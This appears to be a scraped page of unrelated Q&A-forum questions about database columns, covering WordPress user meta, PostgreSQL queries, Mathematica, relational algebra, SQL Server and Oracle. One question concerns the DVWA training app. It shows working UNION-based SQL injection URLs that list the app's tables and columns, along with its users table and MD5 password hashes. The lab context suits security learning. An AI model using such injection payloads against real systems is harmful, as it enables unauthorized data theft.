How do I create a column and display user data from custom registration field

Our registration form has a custom field for Hospital Name. In SQL wp_usermeta the meta_key is user_registration_hospital. I have tested a number of snippets in the functions.php file to add a "Hospital" column to the Users admin table, all of which work. This is one of the snippets that adds the Hospital column:

function add_user_columns($  column) { $  column['hospital'] = 'Hospital';  return $  column; 

} add_filter( ‘manage_users_columns’, ‘add_user_columns’ );

What code do I need to add to the functions.php file to have the Hospital data from wp_usermeta populate the Hospital column?

PostgreSQL efficient lookup for 2 column combinations

I have a PostgreSQL (v. 12) database storing match results. I have integer columns team_home and team_away which have foreign key constraints for team_id in table teams . My question has a few scenarios:

  1. If I want to find all games involving a single team with ID 1 I could do:

SELECT * FROM matches WHERE team_home = 1 OR team_away = 1;

  1. If I wanted to find all games between 2 teams, IDs 1 and 2 I could do:

SELECT * FROM matches WHERE (team_home = 1 AND team_away = 2) OR (team_home = 2 AND team_away = 1);

  1. I want to join my matches table with a teams table:

.

SELECT m.match_id, t1.name, t2.name  FROM matches m  JOIN teams t1 ON t1.team_id = m.team_home  JOIN teams t2 ON t2.team_id = m.team_away  WHERE m.team_home = 1 OR m.team_away = 1; 

The question I have is – are these the optimal queries and can I improve efficiency?

I have read a bit about indexes and this page seems to suggest I could improve my queries across two columns like this by using a GIN index, however that is for text columns and not Foreign Key integer columns.

Alternatively should I create an ARRAY column of team ids and then use an ANY query? (The obvious downside to that is you lose the abilit

Mass update all cells in a column with a substring of it’s original value

I need to trim the last seven characters off of all the cells in a column.

This query returns the results that I need

SELECT test_date, SUBSTRING(test_date FROM 1 FOR CHAR_LENGTH(test_date) - 7) as test from results; 

I now need to take the computed result from the substring and replace the original values.

Here’s what the data looks like, if it helps.

Data Table

DVWA SQLi: How to get column names from table “users” only? [closed]

This is DVWA database. There are only 2 tables in it.

mysql> show tables;  +----------------+ | Tables_in_dvwa | +----------------+ | guestbook      |  | users          |  +----------------+ 2 rows in set (0.00 sec)  mysql>  

I’ve no issue getting these 2 tables via SQL injection bug

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=' UNION SELECT GROUP_CONCAT(table_name),2 FROM information_schema.tables WHERE table_schema=DATABASE() -- -&Submit=Submit# 

Output in web (TABLE_NAME in “dvwa” DATABASE)

First name: guestbook,users 

Table “users” looks interesting and would like to know all columns in it.

There are 6 columns as shown in MySQL query below.

mysql> SELECT * FROM users; +---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+ | user_id | first_name | last_name | user    | password                         | avatar                                                | +---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+ |       1 | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | http://172.16.123.129/dvwa/hackable/users/admin.jpg   |  |       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | http://172.16.123.129/dvwa/hackable/users/gordonb.jpg |  |       3 | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | http://172.16.123.129/dvwa/hackable/users/1337.jpg    |  |       4 | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | http://172.16.123.129/dvwa/hackable/users/pablo.jpg   |  |       5 | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | http://172.16.123.129/dvwa/hackable/users/smithy.jpg  |  +---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+ 5 rows in set (0.00 sec)  mysql>  

However, my next attempt to get only columns from table users didn’t work well.

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=' UNION SELECT GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_schema=DATABASE() -- -&Submit=Submit# 

Output in web

First name: comment_id,comment,name,user_id,first_name,last_name,user,password,avatar 

The problem is columns comment_id,comment,name are not part of users table.

What’s wrong in this SQLi syntax and how do I get only column names from table users only.

DESIRED OUTPUT

First name: user_id,first_name,last_name,user,password,avatar 

User defined function for creating Row only listing first column of matrix or first element of a vector

I cannot figure out why my rowNameValue[] is only listing the first part of a column or vector. Below is the code.

objectName = Function[Null, SymbolName[Unevaluated[#]], {HoldFirst}]; ClearAll[m, b] m = {{1, 0, -5}, {0, 1, 1}, {0, 0, 0}}; MatrixQ[m] b = {1, 4, 0}; VectorQ[b] rowNameValue[symbol_, name_ : Null] := Block[{id, fn},    id = If[Head[name] === String, name, objectName[symbol],       objectName[symbol]];    id = If[MatrixQ[symbol] || VectorQ[symbol], Style[id, Bold], id,       id];    fn = If[MatrixQ[symbol] || VectorQ[symbol], MatrixForm,       TraditionalForm, StandardForm];    {Row[{id, " \[Rule] "}, " "], Apply[fn, symbol]}    ]; dataIn[m_, b_] = Block[{}, Grid[{     rowNameValue[m, "m"],     rowNameValue[b, "b"]     }]] dataIn[m, b] 

how to get rows with more than 1 appearance of a specific column in relational algebra

I have a table like this:

PostId   |    Body    |    AuthorId    2             b               F   2             b               E   4             d               A   4             d               E   8             h               F  

So what I want is to get all the rows that have more that 1 appearance of PostId. Here the result would be 2 and 4 because they appear more than 1 time. I want this in relational algebra.
I have already a relation that works just fine but in this relation I use aggregation methods and I don’t really what to use count in my relation. I am wondering if there is a way to this with subtraction or division operators?
What I do for now is π PostId (σ c ≥ 2 ( γ Body; COUNT(PostId)->c R2)) to get the row with more than 1 appearance of PostId.
Thanks in advance for help

Why are column store indexes disabled automatically when a database is restored?

I have recently done a server migration where we backed up and restored all the databases from a SQL Server 2012 version to SQL Server 2019. However the restored databases appear to all have their column store indexes disabled by default.

Is this expected behaviour? If so, why?

These are archive databases used for selects only, rebuilding every clustered index is going to take a significant amount of time. Any other options?

(sorry, I asked this in the wrong place here. Can that question be removed?)

Query to check if column value appears more than once then apply condition

I have a PostgreSQL query:

SELECT DISTINCT ON ("contract"."contract_id") "contract"."id"  FROM "contract_versions" "contract"  WHERE "contract"."client_id" = 1  GROUP BY "contract"."contract_id", "contract"."id"  ORDER BY "contract"."contract_id", "contract"."change_effective_date" DESC 

I want to add something like if contract_id occurs more than once then change_effective_date >= now()

I tried using:

SELECT DISTINCT ON ("contract"."contract_id") "contract"."id",        COUNT("contract"."contract_id") AS cnt  FROM "contract_versions" "contract"  WHERE "contract"."client_id" = 1  AND CASE WHEN "cnt" > 1 THEN "contract"."change_effective_date" <= now() END  GROUP BY "contract"."contract_id", "contract"."id"  ORDER BY "contract"."contract_id", "contract"."change_effective_date" DESC 

but its throwing an error column “cnt” does not exist

Thanks

“Column check constraint cannot reference other columns”

CREATE TABLE SALES_ORDER ( S_ORDER_NO VARCHAR2(6) PRIMARY KEY CHECK (S_ORDER_NO LIKE ‘O’), S_ORDER_DATE DATE, DELY_ADDR VARCHAR2(25), SALESMAN_NO VARCHAR2(6) REFERENCES SALESMAN_MASTER(SALESMAN_NO), DELY_TYPE CHAT(1) DEFAULT ‘F’ CHECK (DELY_TYPE IN (‘P’, ‘F’)), BILLED_YN CHAT(1), DELY_DATE DATE CHECK (DELY_DATE > S_ORDER_DATE), ORDER_STATUS VARCHAR2(10) CHECK (ORDER_STATUS IN (‘PROCESS’,’FULFILLED’, ‘BLOCKORDER’,’CANCELED’)));